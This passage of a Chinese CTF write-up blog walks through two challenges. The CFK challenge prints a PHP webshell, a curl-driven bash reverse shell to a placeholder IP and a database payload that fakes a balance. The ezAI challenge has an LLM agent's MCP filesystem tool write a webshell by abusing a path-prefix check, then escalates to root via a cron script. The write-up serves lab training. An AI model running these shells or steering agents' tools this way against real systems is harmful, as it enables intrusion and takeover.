
运行 payload 后发现已经可以 RCE 了。

get shell + flag

反弹可以用下面的方法,注意要先编码。 进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag。

其他思路

这道题可以注入阻塞类代码比如数字很大的求和,让代码运行时间较长,同时提前在代码注释插入 request.files.get 等方法,如果可以通过文件包含读到缓存文件或者 /proc/self/fd/ 下面的文件,那就可以用二次渲染的 ssti 注入。不过测试了几次都没能成功,这里抛个砖。

[阶段 1] 05_em_v_CFK

题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想'逝世',但是他遇到了一些困难于是请求你的帮助。他给你留了一个 webshell,并给你的一条线索,去帮他完成吧。

靶机展示

我们只有$3,Golden Flag 需要 $50。初尝试了下抓包修改等均无效,根据题干看没那么简单。

信息收集

  1. 源码存在如下隐藏信息,解码可知内容为:我上传了个 shell.php, 带上 show 参数 get 小明的圣遗物吧。
  2. 此外经爆破靶机存在如下 文件/目录:index.php, connect.php, /uploads/shell.php(要带参数访问)。

第二层 php 源码及审计

根据小明提示,访问他的后门并加参数 show,我们得到了源码。$pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115。

<?php
if(isset($_GET['show'])){highlight_file(__FILE__);}
$pass='c4d038b4bed09fdb1471ef51ec3a32cd';
if(isset($_POST['key'])&&md5($_POST['key'])===$pass){
    if(isset($_POST['cmd'])){system($_POST['cmd']);}
    elseif(isset($_POST['code'])){eval($_POST['code']);}
}else{http_response_code(404);}
?>

弹个 shell

curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"

index.php 源码分析

可以看到 $my_money 代码写死是 3.00 也就是我们页面上看到的余额。

connect.php 逻辑

这个文件具体代码不贴了,是比较复杂的加密逻辑,用于链接数据库,本轮想直接破解的,但感觉难度较大,我们绕过直接打数据库吧。

攻击思路

根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include。

利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有100.00元,足够支付 flag 价格。

curl -s http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "code=include '../connect.php'; \$stmt = \$pdo->prepare('CALL buy_item(?, ?)'); \$stmt->execute([3, 100.00]); print_r(\$stmt->fetch());"
# Array ([current_price]=>50 [final_message]=> SHCTF{d048c6c5-9efc-4817-97e3-a4af766ffb4c})

[MISC][阶段 2] ezAI

这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。

靶机展示

题干: 输入 help 获取帮助,在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入,靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1,flag 文件放置在/root 下,flag 的文件名需自行读取。

攻击思路

这个靶机并不是把 flag 告诉大模型后,再用 system prompt把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。

攻击步骤--打点阶段

  1. 我们先用 list_allowed_directories 查看下 MCP 可以控制的文件夹,显示出的目录是 /var/www/h。
  2. 尝试让 MCP 把 phpinfo() 写入文件成功,但是访问发现 404,因为写入的是 /var/www/h/1.php。
  3. 尝试写入 /var/www/html,考虑到服务器是 apache 尝试往其默认目录 /var/www/html 写写看文件,发现写入成功,并且可以访问到。
  4. 写入一句话木马并访问,成功 getshell。

攻击步骤--后渗透阶段

  1. 查找 flag,根据题干 flag 在 /root 下面,查看了下是没权限访问的,所以后面还要想办法提权。
  2. 先看下 /var/www 文件夹到底是怎么回事,的确是有 2 个文件夹 h 和 html,单看权限的话 user:www-data 只能操作 html 文件夹,而 user:mcp 可以同时操作这 2 个文件夹的内容。
  3. ps -aux 查看进程,我们看到 user:root 用 su -s /bin/bash 让 user:mcp 执行了 node 启动了 mcp 服务,同时把流量转发到了本地的 1337 端口,而且 mcp 服务的目录的确是 /var/www/h 文件夹。
  4. 内网信息收集,收集到任务计划的时候,我们看到 php 这个任务计划,是每分钟让 root 执行一次 /usr/lib/php/sessionclean 脚本,而碰巧这个脚本是 user:mcp 可以 rwx 的。
  5. getshell 提权,根据上面的思路,我们创建个软连接指向 /usr/lib/php/sessionclean 然后发指令让 MCP 修改成 revshell,然后让 user:root 定期执行任务的时候执行即可。

静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。

漏洞原因

为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?我们调试下靶机,在 /var/www/ 文件夹中创建其他文件夹测试下,实验可知,虽然这 2 个文件夹不是 allowed_directories 但是 MCP 依旧可以访问并且可以操作。目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。

async function validatePath(requestedPath) {
    // ...
    const isAllowed = allowedDirectories.some(dir => normalizedRequested.startsWith(dir));
    if (!isAllowed) { throw new Error(`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ')}`); }
    // ...
}

目录

  1. [阶段 1] ez-ping
  2. 靶机展示
  3. payload
  4. (......) dev etc flag (......)
  5. SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}
  6. 源码过滤+getshell
  7. [阶段 2] Mini Blog
  8. 靶机展示
  9. 简单信息收集
  10. 攻击思路
  11. PAYLOAD
  12. get flag
  13. [阶段 3] 你也懂 java?
  14. 靶机展示
  15. 网页源码
  16. Note.jar
  17. 攻击思路
  18. 创建恶意类
  19. 设置 JDK 环境
  20. 编译恶意类
  21. 修改恶意类尝试得到 flag
  22. 利用 python 直接发 payload
  23. 更加偷懒的方法
  24. [阶段 2] Go
  25. 靶机展示
  26. 过 waf+get flag
  27. {"flag":"SHCTF{2ea0dca2-e397-4c7c-892e-785d30c2e19a}"...}
  28. [阶段 1] 上古遗迹档案馆
  29. 靶机展示
  30. SQL 注入
  31. SHCTF{0ede81a7-627f-45c4-9a9d-63655a9d214e}
  32. [阶段 1] kill_king
  33. 靶机展示
  34. 攻击思路
  35. 第二层 php 审计
  36. php 审计攻击思路
  37. 最后是半成品的 payload
  38. SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}
  39. [阶段 1] ez_race
  40. 靶机展示
  41. 攻击思路
  42. payload
  43. [阶段 1] calc?js?f**k!
  44. 靶机展示
  45. 源码
  46. 攻击思路
  47. 利用 jsf**k 网站
  48. [阶段 1] Ezphp
  49. [阶段 1] Eazy_Pyrunner
  50. 靶机展示
  51. 攻击思路
  52. 文件包含获得源码
  53. payload
  54. 1. 初始化与工具获取
  55. 2. 彻底瘫痪审计逻辑
  56. 3. 绕过模块封锁获取 RCE 接口
  57. get shell + flag
  58. 其他思路
  59. [阶段 1] 05emv_CFK
  60. 靶机展示
  61. 信息收集
  62. 第二层 php 源码及审计
  63. 弹个 shell
  64. index.php 源码分析
  65. connect.php 逻辑
  66. 攻击思路
  67. Array ([currentprice]=>50 [finalmessage]=> SHCTF{d048c6c5-9efc-4817-97e3-a4af766ffb4c})
  68. [MISC][阶段 2] ezAI
  69. 靶机展示
  70. 攻击思路
  71. 攻击步骤--打点阶段
  72. 攻击步骤--后渗透阶段
  73. 漏洞原因
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Java 对象比较详解:基本类型与自定义类实现
  • 7 篇值得关注的大模型领域最新论文
  • 基于百川 2-13B 构建 AIGC 内容安全审核 Agent 实战
  • 前端监控实战:别让生产问题等到用户反馈
  • AIGC 技术全景解析:大语言模型、扩散模型与多模态应用指南
  • WSL Ubuntu 安装 Golang Python Node.js Java Docker Podman 开发环境配置
  • 从人类视频到机器人跳舞:BeyondMimic 全流程解析与 rl_sar 部署实践
  • IDEA 集成 AI 辅助工具推荐:高效不卡顿
  • 基于 SpringBoot+Vue 的海洋生物管理系统设计与实现
  • 轻小说机翻机器人:开源日语小说翻译工具解析
  • 医疗连续体机器人模块化控制界面设计与 Python 库应用
  • Java 大数据在智能家居环境监测与智能调节中的应用
  • Python 3.14.2 Windows 安装指南
  • Python 核心语法:函数定义与使用详解
  • Linux 系统下安装配置 Nginx 图文教程
  • Linux 进程间通信之命名管道(FIFO)实战与面向对象封装
  • 2026 AI医疗行业专题报告:智能医疗器械、手术机器人、脑机接口及可穿戴设备
  • 基于中文金融知识的 LLaMA 系微调模型智能问答系统
  • 免费 Trae 编辑器实测:i18n 任务排队千名,AI 编程效率与坑点分析
  • 微调 Llama3 改变大模型自我认知,单卡即可训练

相关免费在线工具

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

  • JavaScript 压缩与混淆

    Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online